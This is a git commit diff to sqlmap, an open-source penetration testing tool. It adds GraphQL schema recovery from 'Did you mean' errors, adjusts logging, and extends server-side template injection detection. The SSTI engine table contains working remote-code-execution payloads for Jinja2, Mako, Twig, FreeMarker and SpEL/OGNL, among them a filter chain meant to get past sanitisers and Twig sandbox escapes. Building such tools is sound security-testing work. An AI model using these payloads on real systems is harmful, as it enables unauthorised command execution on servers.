Minor improvements

This commit is contained in:
Miroslav Štampar 2026-06-29 22:20:22 +02:00
parent 820efa7a8a
commit 7b60bc8284
11 changed files with 626 additions and 104 deletions

View file

@ -160,7 +160,7 @@ ca86d61d3349ed2d94a6b164d4648cff9701199b5e32378c3f40fca0f517b128 extra/shutils/
df768bcb9838dc6c46dab9b4a877056cb4742bd6cfaaf438c4a3712c5cc0d264 extra/shutils/recloak.sh
1972990a67caf2d0231eacf60e211acf545d9d0beeb3c145a49ba33d5d491b3f extra/shutils/strip.sh
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 extra/vulnserver/__init__.py
f96ceae5ecb2bfe5eb3b8ae5cf344a93943f13322bc79bb92dbaeafa30f9321f extra/vulnserver/vulnserver.py
617cec1b731e0baacafa6f58c2f56a85b6128d1416627cc1b2f61519c8539a2e extra/vulnserver/vulnserver.py
a2bf70d7f87c3a4e0675c0bad54119a4e04efa6ea2730a8338d5aebcd995630e lib/controller/action.py
9137a8f7368496c84b21944f6b94c28004d3a2a849ac9c8e0b20e294e4c4a93a lib/controller/checks.py
4598de22ed3df63432e9643ba48533a01bec9f0b253c3a11f322ccedaef353f0 lib/controller/controller.py
@ -189,7 +189,7 @@ e033b20a0f7821797a10f4bf4235723f38c7db551c611fbb713faa621b123c4a lib/core/optio
9bf174058f15d14e24e94f9aaf42df045119d3617c6c54bd2f3af79b462f331d lib/core/replication.py
0b8c38a01bb01f843d94a6c5f2075ee47520d0c4aa799cecea9c3e2c5a4a23a6 lib/core/revision.py
888daba83fd4a34e9503fe21f01fef4cc730e5cde871b1d40e15d4cbc847d56c lib/core/session.py
7f811ed56c2ce56e2575e732d0853a2064cefa57fa850c51b9e08e00d685ca08 lib/core/settings.py
7461f9959d80cade863d9ee2f9aa30a2a5ac054f0913357c796f1282ec346a9f lib/core/settings.py
c7804223319e18eb0b8e2cbf0a8b6896d1cefb7b0b1a2e9f1cf826a8a3b56750 lib/core/shell.py
a2e98a94b231432736d6b304fc75525c8b5fdb4768c418387c5b4c1a610dad64 lib/core/subprocessng.py
19f1e3c5e3ba703d28d510cd7a9ab8284d5fbe9df5ce7e77c86e5931571364b7 lib/core/target.py
@ -240,19 +240,19 @@ a66a4b9df6207dce722c9b71d290ea426723cb4b697b416065dc7dd5db96fe8e lib/techniques
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/error/__init__.py
5bbef46c16e34fd80e3f9f0e9aa255ce2e39be0d0e57479e25890b041c7efc7d lib/techniques/error/use.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/graphql/__init__.py
ffbc7583a563bb9fe5a560ca8363f3e4ec84ecf907b956883ab1f2904f19d529 lib/techniques/graphql/inject.py
c3e5cf7e5e35ae5fd86b63a515b37e6f06e61c70d2690252f2ee8373aa16637e lib/techniques/graphql/inject.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/__init__.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/ldap/__init__.py
cc90c641d74244e45fa0c8c4026315452137e66b6fb5cef681d0eacd4e11eb69 lib/techniques/ldap/inject.py
039d64a610b0e92e953fa6eaa740e7c2867e34e12b82e0113204e8f6100dc368 lib/techniques/ldap/inject.py
44401cad3e39ae9fb899ed5d0e2fdd0879561de05c3117f17f3b0db54f4e3724 lib/techniques/nosql/__init__.py
e2cd2b19f82393f9bbc8f374686cd851a4ccc264bb898ea54547ec479a05674c lib/techniques/nosql/inject.py
e465d9cb6ac83dafe38aeec851856183b93f5aa19f628fb64371a290797e2518 lib/techniques/nosql/inject.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/ssti/__init__.py
cb8806c285962593b963464ba870d61f274ee73d9ba878c76fe52795cbe4eced lib/techniques/ssti/inject.py
29ab841b6129106f19db692a5a30f90a5e758d6cd24d47da0a35c8090910ae18 lib/techniques/ssti/inject.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/union/__init__.py
ceec65f8cb7c3254c4671351c837418c76ac5bc55ccbc40779f67231b54d7085 lib/techniques/union/test.py
c65766f71e285fc85cdf58e7448c4c1d015af2a9dbb44fa3b665a9f13362fbcc lib/techniques/union/use.py
1966ca704961fb987ab757f0a4afddbf841d1a880631b701487c75cef63d60c3 lib/techniques/xpath/__init__.py
ece1fca81148ccf3c5f13b6ad7fb64966cb1ebef245216eac5cb0dd2490989db lib/techniques/xpath/inject.py
c61816c9dba9f6cc2223aed1a923f95130979e5f0a88ec254ee667d955ed2734 lib/techniques/xpath/inject.py
aeefb42ea0c68f72744bc1bfd7194ec1bc06480d8a7e23f4b8d3d23fbba2b014 lib/utils/api.py
442555ab85277aff7c9e0cf465ea5b0d28395c326f68363449b2d3941f4b6de2 lib/utils/brute.py
da5bcbcda3f667582adf5db8c1b5d511b469ac61b55d387cec66de35720ed718 lib/utils/crawler.py
@ -615,7 +615,7 @@ bb6991260a994fcbe79e05febaa34affd5631d02299fbc626820addd5f6ea4f4 tests/test_err
26730151abea598f193131c5d64ef92b531941972f3d6236f9951c3116030b1c tests/test_filesystem.py
16fba97cba6afe8af11aa30bcc4266f53b00f2530161e010af10b51db1509703 tests/test_fingerprint.py
20844dfc758e99b2f757906c51ef32aca0f699283ec5aa629158d3dc0fd279ea tests/test_generic_takeover.py
bde97a4781c4ee84e0fe86f7a33206f114167eb14b704013ecf1c26b838193d7 tests/test_graphql.py
f1f38f8b8ca667caadcb027d1a20eb895be4ef0935511114db235e66903bb463 tests/test_graphql.py
50b71422ee91b9a4864f4d5ce6c9bdf169dc5f57ed1db05c152eb010c282136b tests/test_gui_helpers.py
92648f2fe81e22c5726b198bbbda14961cd4d3294a0d9139dcea808b324142ac tests/test_har.py
70919c6ee8fbb3d619873489c819fa37d9035beb2e9b658cc5aa531d86a40380 tests/test_hash_crack.py
@ -643,7 +643,7 @@ cec98d72992c0799229a780fa7f0d7f3fb01ec2d708187ce0e4a05c8612f291b tests/test_saf
a1c6cda1e5b483f61e6a4f8ddd0b06a15ddaa3fd2119bfb9dbd9cc970d7a751d tests/test_settings_regex.py
29d0278e3718b0fee422d3f6bb85ca02560138d48cd76f9fe1f35ac19d96071b tests/test_sgmllib.py
d3d991331096e16e5019de3d652e9fff92c09bd9f97c50b1c2c3ceb0ed49b17e tests/test_sqlparse.py
49c72cf40cfa78c573826ca1ab3ad11886e353158a31f15b29c6d71b0e561fcc tests/test_ssti.py
4a9409a070770cc6300ed2b0c954254273479252fa602ffd19d78917f895756c tests/test_ssti.py
8bcbf1091134dd0a62f6201f8b3645ed87b5ff2f7ba40a87231a29dac412591f tests/test_strings.py
8f1c5f0f337ecd26d35c5551060034e0aa33a62cce5385fc1227fdc485f6383e tests/test_tamper.py
67472bd71c20782cc0f738e2c2e674c29d6985669e14d15b69baef7d0e33de62 tests/test_target_parsing.py
@ -659,7 +659,7 @@ eca021208e388b4d14c53f1e9f8a6e7d685e54ba572fb2a8487e6b620a20bcb5 tests/test_use
2364db35025a53ea4e5a0a80c034997642785f7e6d1566d0d0f1db959fe3c82e tests/test_utils.py
93ef9944effc62d4f744c57bd643137c90fd92205c6a6cbe891e0e99efb80a7f tests/test_wafbypass.py
81bb6d7449f224fa337734ae361c1a340bf9a51768a854d6a1a6e718ed1263ca tests/test_wordlist.py
c7584cad4f99416e6415744412941f5a47b2f5284270326624bd291edf6d9994 tests/test_xpath.py
9c1c23a83408e6012e019e82ffb53e25e317054d1b28ca61a2c4fe830a472fcf tests/test_xpath.py
55eaefc664bd8598329d535370612351ec8443c52465f0a37172ea46a97c458a thirdparty/ansistrm/ansistrm.py
e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855 thirdparty/ansistrm/__init__.py
f597b49ef445bfbfb8f98d1f1a08dcfe4810de5769c0abfab7cdce4eebbfcae7 thirdparty/beautifulsoup/beautifulsoup.py

View file

@ -986,7 +986,7 @@ class ReqHandler(BaseHTTPRequestHandler):
elements = root.xpath(xpath_expr)
entries = [_xpath_element_to_dict(el) for el in elements]
except Exception as ex:
error = "%s: %s" % (type(ex).__name__, getUnicode(ex))
error = "%s: %s" % (type(ex).__name__, str(ex))
output = json.dumps({"entries": entries, "count": len(entries), "error": error}, default=str)
self.wfile.write(output.encode(UNICODE_ENCODING))
@ -1013,7 +1013,7 @@ class ReqHandler(BaseHTTPRequestHandler):
if results:
authenticated = True
except Exception as ex:
error = "%s: %s" % (type(ex).__name__, getUnicode(ex))
error = "%s: %s" % (type(ex).__name__, str(ex))
output = json.dumps({"authenticated": authenticated, "error": error}, default=str)
self.wfile.write(output.encode(UNICODE_ENCODING))
@ -1036,7 +1036,7 @@ class ReqHandler(BaseHTTPRequestHandler):
output += template.render()
except Exception as ex:
# Leak template engine error for error-based detection
output += "<b>%s: %s</b>" % (type(ex).__name__, getUnicode(ex))
output += "<b>%s: %s</b>" % (type(ex).__name__, str(ex))
else:
output += "Hello"

View file

@ -20,7 +20,7 @@ from lib.core.enums import OS
from thirdparty import six
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
VERSION = "1.10.6.190"
VERSION = "1.10.6.191"
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}
VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE)
@ -878,7 +878,15 @@ NOSQL_MAX_RECORDS = 100
NOSQL_MAX_LENGTH = 1024
# GraphQL endpoint paths to probe when the user supplies a base URL with --graphql (no explicit /graphql)
GRAPHQL_ENDPOINT_PATHS = ("/graphql", "/api/graphql", "/v1/graphql", "/graphql/api", "/graph", "/gql")
GRAPHQL_ENDPOINT_PATHS = ("/graphql", "/api/graphql", "/v1/graphql", "/api/v1/graphql", "/graphql/api", "/graphql/console", "/graphql.php", "/graphiql", "/graph", "/gql", "/query")
# Seed field/argument names used to recover a GraphQL schema from "Did you mean" suggestion error
# messages when introspection is disabled (the field-suggestion / "Clairvoyance" technique)
GRAPHQL_FIELD_WORDLIST = ("user", "users", "me", "search", "login", "node", "post", "posts",
"account", "accounts", "profile", "product", "products", "order", "orders", "item", "items",
"customer", "find", "get", "list", "comment", "comments", "message", "messages", "updateUser")
GRAPHQL_ARG_WORDLIST = ("id", "username", "user", "name", "term", "query", "q", "search",
"email", "input", "password", "key", "filter", "slug", "title", "uid")
# Canonical GraphQL introspection query (the one everyone copy-pastes). Returned schema carries the
# full type system: query/mutation/subscription roots, OBJECT/INPUT_OBJECT/ENUM/SCALAR types, their
@ -967,6 +975,9 @@ LDAP_CHAR_MAX = 0x7e
# Upper bound for the value-length search during LDAP blind extraction
LDAP_MAX_LENGTH = 256
# Maximum number of directory entries enumerated during LDAP blind dumping
LDAP_MAX_RECORDS = 20
# Attributes that definitively identify the backend vendor when probed on the RootDSE or
# a well-known directory entry. Each tuple is (attribute, expected_value_substring, backend).
LDAP_FINGERPRINT_ATTRIBUTES = (

View file

@ -22,8 +22,10 @@ from lib.core.data import logger
from lib.core.enums import CUSTOM_LOGGING
from lib.core.enums import POST_HINT
from lib.core.settings import ERROR_PARSING_REGEXES
from lib.core.settings import GRAPHQL_ARG_WORDLIST
from lib.core.settings import GRAPHQL_ENDPOINT_PATHS
from lib.core.settings import GRAPHQL_ERROR_REGEX
from lib.core.settings import GRAPHQL_FIELD_WORDLIST
from lib.core.settings import GRAPHQL_INTROSPECTION_QUERY
from lib.core.settings import NOSQL_ERROR_REGEX
from lib.core.settings import UPPER_RATIO_BOUND
@ -354,6 +356,90 @@ def _introspect(endpoint):
return None
# --- Schema recovery via field suggestions (introspection disabled) ---------
def _gqlErrors(page):
# GraphQL error-envelope messages as a list of strings
doc = _parseJSON(page)
if not isinstance(doc, dict):
return []
return [getUnicode(e.get("message", "")) for e in (doc.get("errors") or []) if isinstance(e, dict)]
def _harvestSuggestions(message):
# Pull suggested identifiers out of a "Did you mean ..." GraphQL validation message,
# handling both single- and double-quoted phrasings ('a', 'b', or 'c' / "a" or "b")
idx = message.find("Did you mean")
if idx < 0:
return []
return re.findall(r"""['"]([A-Za-z_][A-Za-z0-9_]*)['"]""", message[idx:])
def _suggestFields(endpoint, op):
# Recover root field names for an operation via suggestion harvesting: probe a random
# (guaranteed-unknown) field to collect the closest matches, then confirm/expand using a
# seed wordlist. A seed that does NOT come back as "Cannot query field" is itself a real field.
prefix = "" if op == "query" else "mutation "
found = set()
probes = [randomStr(length=10, lowercase=True)] + list(GRAPHQL_FIELD_WORDLIST)
for seed in probes:
page, _ = _gqlSend(endpoint, "%s{ %s }" % (prefix, seed))
doc = _parseJSON(page) or {}
for entry in (doc.get("errors") or []):
message = getUnicode(entry.get("message", "")) if isinstance(entry, dict) else ""
if "Did you mean" in message and "on type" in message:
found.update(_harvestSuggestions(message))
# a seeded name counts as a real field only if it actually resolved (appears in `data`);
# "no unknown-field error" alone is too weak (lenient servers accept anything)
data = doc.get("data")
if seed in GRAPHQL_FIELD_WORDLIST and isinstance(data, dict) and seed in data:
found.add(seed)
return sorted(found)
def _suggestArgs(endpoint, op, field):
# Recover an argument name for `field` from an "Unknown argument ... Did you mean ..." message
prefix = "" if op == "query" else "mutation "
bogus = randomStr(length=10, lowercase=True)
page, _ = _gqlSend(endpoint, '%s{ %s(%s: 1) }' % (prefix, field, bogus))
found = set()
for message in _gqlErrors(page):
if "Unknown argument" in message:
found.update(_harvestSuggestions(message))
return sorted(found)
def _introspectViaSuggestions(endpoint):
# Fallback schema recovery when introspection is disabled but the server still leaks field/argument
# names through "Did you mean" validation errors. Builds best-effort Slots: known scalar arg types
# are unavailable here, so we default to the 'string' strategy (the most broadly injectable) and let
# the per-slot injection oracle confirm which (field, argument) pairs are actually vulnerable.
probe = randomStr(length=10, lowercase=True)
page, _ = _gqlSend(endpoint, "{ %s }" % probe)
if not any("Did you mean" in m for m in _gqlErrors(page)):
return None
logger.info("introspection is disabled; recovering the schema from field-suggestion errors")
slots = []
for op, parentName in (("query", "Query"), ("mutation", "Mutation")):
fields = _suggestFields(endpoint, op)
if not fields:
continue
logger.info("recovered %d %s field(s) via suggestions: %s" % (
len(fields), op, ", ".join(fields)))
for field in fields:
args = _suggestArgs(endpoint, op, field) or list(GRAPHQL_ARG_WORDLIST)
for arg in args:
# returnSel="" renders as "{ __typename }" (valid on any OBJECT); strategy="string"
slots.append(Slot(op, parentName, field, [(arg, {}, None)],
arg, "string", "OBJECT", "", ""))
return slots or None
# --- Schema walking ---------------------------------------------------------
def _extractSlots(schema):
@ -1087,11 +1173,11 @@ def graphqlScan():
global SENTINEL
SENTINEL = randomStr(length=10, lowercase=True)
infoMsg = "'--graphql' is self-contained: it discovers the GraphQL endpoint, "
infoMsg += "enumerates the schema, and injects SQL/NoSQL payloads into reachable "
infoMsg += "argument slots. SQL enumeration switches (e.g. --banner, --dbs, "
infoMsg += "--tables) are ignored"
logger.info(infoMsg)
debugMsg = "'--graphql' is self-contained: it discovers the GraphQL endpoint, "
debugMsg += "enumerates the schema, and injects SQL/NoSQL payloads into reachable "
debugMsg += "argument slots. SQL enumeration switches (e.g. --banner, --dbs, "
debugMsg += "--tables) are ignored"
logger.debug(debugMsg)
url = conf.url.rstrip("/") if conf.url else ""
@ -1120,19 +1206,22 @@ def graphqlScan():
# 2. Schema introspection
logger.info("introspecting the GraphQL schema")
schema = _introspect(endpoint)
if not schema:
logger.error("introspection failed (disabled or the endpoint rejected the query)")
return
types = schema.get("types") or []
logger.info("introspection returned %d types" % len(types))
# 3. Slot enumeration
slots = _extractSlots(schema)
if not slots:
logger.warning("no injectable argument slots found in the schema")
_dumpSchema(schema, endpoint)
return
if schema:
types = schema.get("types") or []
logger.info("introspection returned %d types" % len(types))
slots = _extractSlots(schema)
if not slots:
logger.warning("no injectable argument slots found in the schema")
_dumpSchema(schema, endpoint)
return
else:
# Introspection blocked: try to recover the schema from field-suggestion errors
logger.warning("introspection failed (disabled or rejected); trying suggestion-based recovery")
slots = _introspectViaSuggestions(endpoint)
if not slots:
logger.error("could not recover the schema (introspection disabled and no field suggestions)")
return
querySlots = [_ for _ in slots if _.operation == "query"]
mutationSlots = [_ for _ in slots if _.operation == "mutation"]
@ -1141,8 +1230,10 @@ def graphqlScan():
len(slots), len(querySlots), len(mutationSlots)))
# 4. Schema dump (before detection -- matches regular sqlmap table/column
# enumeration preceding data retrieval)
_dumpSchema(schema, endpoint)
# enumeration preceding data retrieval). Only when introspection succeeded; the
# suggestion-recovered path has no full schema document to render.
if schema:
_dumpSchema(schema, endpoint)
if mutationSlots:
names = sorted(set("%s(%s:)" % (_.fieldName, _.targetArg) for _ in mutationSlots))

View file

@ -24,15 +24,11 @@ from lib.core.settings import LDAP_ERROR_REGEX
from lib.core.settings import LDAP_ERROR_SIGNATURES
from lib.core.settings import LDAP_FINGERPRINT_ATTRIBUTES
from lib.core.settings import LDAP_MAX_LENGTH
from lib.core.settings import LDAP_MAX_RECORDS
from lib.core.settings import UPPER_RATIO_BOUND
from lib.request.connect import Connect as Request
from lib.utils.xrange import xrange
try:
from lib.core.settings import LDAP_MAX_RECORDS
except ImportError:
LDAP_MAX_RECORDS = 20
SENTINEL = randomStr(length=10, lowercase=True)
@ -644,10 +640,10 @@ def ldapScan():
global SENTINEL
SENTINEL = randomStr(length=10, lowercase=True)
infoMsg = "'--ldap' is self-contained: it detects LDAP injection in HTTP "
infoMsg += "parameters and dumps reachable directory entries. SQL enumeration "
infoMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored"
logger.info(infoMsg)
debugMsg = "'--ldap' is self-contained: it detects LDAP injection in HTTP "
debugMsg += "parameters and dumps reachable directory entries. SQL enumeration "
debugMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored"
logger.debug(debugMsg)
if not conf.paramDict:
logger.error("no request parameters to test (use --data, GET params, or similar)")

View file

@ -684,10 +684,10 @@ def nosqlScan():
# NoSQL injection from an application-scoped point is confined to the back-end's single query
# (one collection/label) - it confirms and dumps what that query can reach, with no analog to the
# SQL database/table/user/banner enumeration, so those switches do not apply here
infoMsg = "'--nosql' is self-contained: it confirms the injection and dumps the reachable "
infoMsg += "collection/document. SQL enumeration switches (e.g. --banner, --dbs, --tables, "
infoMsg += "--users, --sql-query) do not map to a NoSQL back-end and are ignored"
logger.info(infoMsg)
debugMsg = "'--nosql' is self-contained: it confirms the injection and dumps the reachable "
debugMsg += "collection/document. SQL enumeration switches (e.g. --banner, --dbs, --tables, "
debugMsg += "--users, --sql-query) do not map to a NoSQL back-end and are ignored"
logger.debug(debugMsg)
tested = found = 0

View file

@ -53,7 +53,23 @@ Engine = namedtuple("Engine", (
def _arithmeticPayload(fmt, a, b):
return fmt % (a, b)
# Substitute the two operands into the first two %d tokens by literal replacement rather than
# %-formatting: some engines' delimiters contain a literal '%' (e.g. ERB '<%= ... %>'), where
# fmt % (a, b) raises ValueError and would silently disable arithmetic detection for them.
return fmt.replace("%d", str(a), 1).replace("%d", str(b), 1)
def _expressionPayload(fmt, value):
# Same rationale as _arithmeticPayload(): literal %s substitution so '%'-delimited engines
# (notably ERB) can wrap expressions instead of crashing on fmt % value.
return fmt.replace("%s", value, 1)
def _degroup(text):
# Strip digit-group (thousands) separators so an arithmetic result still matches when the
# engine formats large numbers with grouping (e.g. FreeMarker renders 234*567 as "132,678").
# Only separators sitting between digits are removed, so ordinary text is untouched.
return re.sub(u"(?<=\\d)[,\u00a0\u202f\u2009']" + u"(?=\\d)", "", getUnicode(text))
_ENGINE_TABLE = (
@ -66,10 +82,24 @@ _ENGINE_TABLE = (
"{{ True }}", "{{ False }}", "True", "False",
None, None, # Jinja2/Twig distinguished by trueRendered ("True"/"False" vs "1"/"")
"{{ %s }}",
# Jinja2: try multiple RCE paths in order (cycler -> config -> lipsum)
# Jinja2: try multiple RCE paths in order (cycler -> config -> lipsum -> attr()-chain).
# The last one is dot-/underscore-free (filters + \x5f-escaped dunders), bypassing
# sanitisers that block '.'/'_' (the CVE-2025-23211 Tandoor technique).
(("{{ cycler.__init__.__globals__.os.popen('{CMD}').read() }}", "cycler.__globals__"),
("{{ config.from_envvar.__globals__.__builtins__.__import__('os').popen('{CMD}').read() }}", "config.from_envvar chain"),
("{{ lipsum.__globals__.os.popen('{CMD}').read() }}", "lipsum.__globals__"))),
("{{ lipsum.__globals__.os.popen('{CMD}').read() }}", "lipsum.__globals__"),
("{{ cycler|attr('\\x5f\\x5finit\\x5f\\x5f')|attr('\\x5f\\x5fglobals\\x5f\\x5f')|attr('\\x5f\\x5fgetitem\\x5f\\x5f')('os')|attr('popen')('{CMD}')|attr('read')() }}", "attr() filter chain (dot/underscore-free)"))),
Engine("Mako", "python",
"${", "}",
r"(?i)(?:mako\.exceptions\.\w+|mako\.runtime|CompileException|SyntaxException)",
("${", "${}", "<%", "<%!"),
"${%d*%d}", "",
"${True}", "${False}", "True", "False",
None, None, # capital True/False uniquely identifies Mako within the ${ } family (Freemarker/Spring render lowercase true/false)
"${%s}",
# Mako: popen captures output; self.module.runtime path needs no <%import%> preamble
(("${self.module.runtime.util.os.popen('{CMD}').read()}", "self.module.runtime.util.os.popen"),
("<%import os%>${os.popen('{CMD}').read()}", "import os + popen"))),
# -- PHP ----------------------------------------------------------------------------------------------
Engine("Twig", "php",
"{{", "}}",
@ -77,20 +107,29 @@ _ENGINE_TABLE = (
("{{", "{{ }}", "{{ unknown|filter }}"),
"{{ %d*%d }}", "{{ (%d*%d)|raw }}",
"{{ true }}", "{{ false }}", "1", "",
"{{ _self }}", "Twig_Template",
# '_self' renders 'Twig_Template' (Twig 1) or '__string_template__...' (Twig 2/3);
# 'emplate' is the substring common to both, so the probe is version-stable
"{{ _self }}", "emplate",
"{{ %s }}",
# Twig: try system -> exec -> shell_exec fallbacks
# Twig: filter() chain first; then sort()/map() callbacks, which double as classic
# sandbox escapes when 'filter' is not on the policy allow-list (DEEP1 Phishtale)
(("{{ ['{CMD}']|filter('system') }}", "filter('system')"),
("{{ ['{CMD}']|filter('exec') }}", "filter('exec')"),
("{{ ['{CMD}']|filter('shell_exec') }}", "filter('shell_exec')"))),
("{{ ['{CMD}']|filter('shell_exec') }}", "filter('shell_exec')"),
("{{ ['{CMD}', '']|sort('system')|join }}", "sort('system') sandbox escape"),
("{{ ['{CMD}']|map('system')|join }}", "map('system') sandbox escape"))),
# -- Java ---------------------------------------------------------------------------------------------
Engine("Freemarker", "java",
"${", "}",
r"(?i)(?:freemarker\.(?:core|template|extract|cache)\.\w+|ParseException|InvalidReferenceException|TemplateException)",
("${", "${}", "<#if ", "<#--"),
"${%d*%d}", "${(%d*%d)?no_esc}",
"${true}", "${false}", "true", "false",
"<#-- freemarker -->", "",
# modern FreeMarker errors on a bare ${true} ("boolean_format"); ?c gives the
# computer-format "true"/"false" string, so the boolean oracle works on real FreeMarker
"${true?c}", "${false?c}", "true", "false",
# Freemarker '?builtin' syntax (SpEL/Thymeleaf can't parse '?upper_case' -> errors there),
# giving an intrinsic, non-empty discriminator from Spring within the shared '${ }' family
'${"sstimark"?upper_case}', "SSTIMARK",
"${%s}",
# Freemarker: classic -> indirect-assign fallback
(("${'freemarker.template.utility.Execute'?new()('{CMD}')}", "Execute?new"),
@ -118,9 +157,15 @@ _ENGINE_TABLE = (
("${", "${}", "#{", "*{"),
"${%d*%d}", "",
"${true}", "${false}", "true", "false",
"${#request}", "",
# SpEL Java method call (Freemarker uses '?upper_case', not '.toUpperCase()' -> errors
# there), giving an intrinsic, non-empty discriminator from Freemarker in '${ }'
"${'sstimark'.toUpperCase()}", "SSTIMARK",
"${%s}",
(("${T(java.lang.Runtime).getRuntime().exec('{CMD}')}", "T(Runtime).exec"),)),
# SpEL: read the process stdout (so output is captured, not just a Process object);
# then a blind exec; then the OGNL form for engines that parse OGNL instead of SpEL
(("${new java.io.BufferedReader(new java.io.InputStreamReader(T(java.lang.Runtime).getRuntime().exec('{CMD}').getInputStream())).readLine()}", "SpEL readLine (output)"),
("${T(java.lang.Runtime).getRuntime().exec('{CMD}')}", "T(Runtime).exec (blind)"),
("${(#rt=@java.lang.Runtime@getRuntime()).exec('{CMD}')}", "OGNL @Runtime@getRuntime (blind)"))),
# -- Ruby ---------------------------------------------------------------------------------------------
Engine("ERB", "ruby",
"<%=", "%>",
@ -302,8 +347,12 @@ def _probeArithmetic(place, parameter, engine):
if p1 in text1 or p2 in text2:
continue
# Match against a digit-group-stripped copy so a grouped result (e.g. FreeMarker's
# "132,678") still counts; the raw-reflection check above stays on the original text.
norm1, norm2 = _degroup(text1), _degroup(text2)
# Each result must appear in its own response and NOT in the other
if result1 in text1 and result2 not in text1 and result2 in text2 and result1 not in text2:
if result1 in norm1 and result2 not in norm1 and result2 in norm2 and result1 not in norm2:
return True
return False
@ -326,6 +375,43 @@ def _probeError(place, parameter, engine):
return None
# A divide-by-zero error is language-family specific, which separates engines that SHARE a
# delimiter but run on different runtimes (Jinja2/Python vs Twig/PHP in '{{ }}', or Mako/Python
# vs Freemarker/Spring/Java in '${ }'). Matching is case-SENSITIVE so Python's lowercase
# 'division by zero' is not confused with PHP's capitalised 'Division by zero'. JS is omitted on
# purpose: 1/0 yields Infinity there rather than an error, so it carries no family signal.
_FAMILY_DIVZERO = (
("python", re.compile(r"division by zero")),
("ruby", re.compile(r"divided by 0")),
("php", re.compile(r"DivisionByZeroError|Division by zero")),
("java", re.compile(r"ArithmeticException|/ by zero")),
)
def _probeFamily(place, parameter, engine, cache):
"""Inject a divide-by-zero inside the engine's delimiter and infer the backend language
family from the resulting error. Returns the family string or None. Responses are cached by
payload so engines that share a delimiter ('{{1/0}}' etc.) cost a single request."""
if not engine.arithmeticFmt or not engine.delimiterClose:
return None
payload = (_originalValue(place, parameter) or "") + engine.delimiter + "1/0" + engine.delimiterClose
if payload not in cache:
cache[payload] = _send(place, parameter, payload)
page = cache[payload]
if not page:
return None
text = getUnicode(page)
if payload in text: # raw reflection -> template did not execute it
return None
for family, regex in _FAMILY_DIVZERO:
if regex.search(text):
return family
return None
def _probeDistinguishing(place, parameter, engine):
"""Send the engine-specific fingerprint probe and verify the response.
For probes with a non-empty expected result, the result must appear and the
@ -391,17 +477,26 @@ def _booleanUniquelyIdentifies(engine):
return count == 1
def _familyUniquelyIdentifies(engine):
"""Returns True when the engine's language family is unique among engines sharing the
same delimiter, so a divide-by-zero family probe is enough to name it exactly."""
siblings = [e for e in _ENGINE_TABLE if e.delimiter == engine.delimiter]
return sum(e.family == engine.family for e in siblings) == 1
def _fingerprint(place, parameter):
"""Identify the template engine and confirm injection. Returns (engine, evidence)
where evidence is a dict of detection results, or (None, None).
Scoring: arithmetic(3) + boolean(2) + error(1) + distinguishing(2).
Engines sharing delimiters require error, distinguishing, or unique boolean
rendering evidence to be named exactly; otherwise they are reported as family/probable."""
Scoring: arithmetic(3) + boolean(2) + error(1) + distinguishing(2) + family(1).
Engines sharing delimiters require error, distinguishing, unique boolean rendering, or a
uniquely-identifying language family to be named exactly; otherwise they are reported as
family/probable."""
bestEngine = None
bestEvidence = None
bestScore = 0
divZeroCache = {}
for engine in _ENGINE_TABLE:
evidence = {}
@ -429,6 +524,11 @@ def _fingerprint(place, parameter):
evidence["distinguishing"] = True
score += 2
# Phase 5: language-family confirmation via divide-by-zero error class
if _probeFamily(place, parameter, engine, divZeroCache) == engine.family:
evidence["family"] = True
score += 1
if score > bestScore:
bestScore = score
bestEngine = engine
@ -440,12 +540,13 @@ def _fingerprint(place, parameter):
# or boolean rendering is unique within the delimiter family.
_FAMILY = {
"{{": "Jinja2/Twig/Handlebars-like",
"${": "Freemarker/SpringEL-like",
"${": "Freemarker/SpringEL/Mako-like",
}
if bestEngine.delimiter in _FAMILY:
if (bestEvidence.get("error") or
bestEvidence.get("distinguishing") or
(bestEvidence.get("boolean") and _booleanUniquelyIdentifies(bestEngine))):
(bestEvidence.get("boolean") and _booleanUniquelyIdentifies(bestEngine)) or
(bestEvidence.get("family") and _familyUniquelyIdentifies(bestEngine))):
pass # specific engine name stands
else:
bestEngine = bestEngine._replace(
@ -474,10 +575,10 @@ def sstiScan():
global SENTINEL
SENTINEL = randomStr(length=10, lowercase=True)
infoMsg = "'--ssti' is self-contained: it detects SSTI and fingerprints "
infoMsg += "common template engines when possible. SQL enumeration "
infoMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored"
logger.info(infoMsg)
debugMsg = "'--ssti' is self-contained: it detects SSTI and fingerprints "
debugMsg += "common template engines when possible. SQL enumeration "
debugMsg += "switches (--banner, --dbs, --tables, --users, --sql-query) are ignored"
logger.debug(debugMsg)
if not conf.paramDict:
logger.error("no request parameters to test (use --data, GET params, or similar)")
@ -502,7 +603,7 @@ def sstiScan():
beep()
if engine.arithmeticFmt:
payload = _originalValue(place, parameter) + (engine.arithmeticFmt % (7, 7))
payload = _originalValue(place, parameter) + _arithmeticPayload(engine.arithmeticFmt, 7, 7)
else:
payload = _originalValue(place, parameter) + engine.booleanTrue
title = "SSTI %s injection" % engine.name
@ -530,18 +631,27 @@ def sstiScan():
if found:
slot = found[0]
place, parameter, engine, evidence = slot
from lib.core.common import readInput
wantsTakeover = any(conf.get(_) for _ in ("osCmd", "osShell", "sstiQuery", "sstiShell"))
# If the user did not ask for exploitation, confirm (benignly) whether OS command
# execution is reachable and, if so, advise the relevant switches.
if not wantsTakeover and _canTakeover(engine, evidence) and _probeRce(place, parameter, engine):
logger.info("the back-end '%s' allows OS command execution via this injection; "
"you are advised to try '--os-shell' (interactive) or "
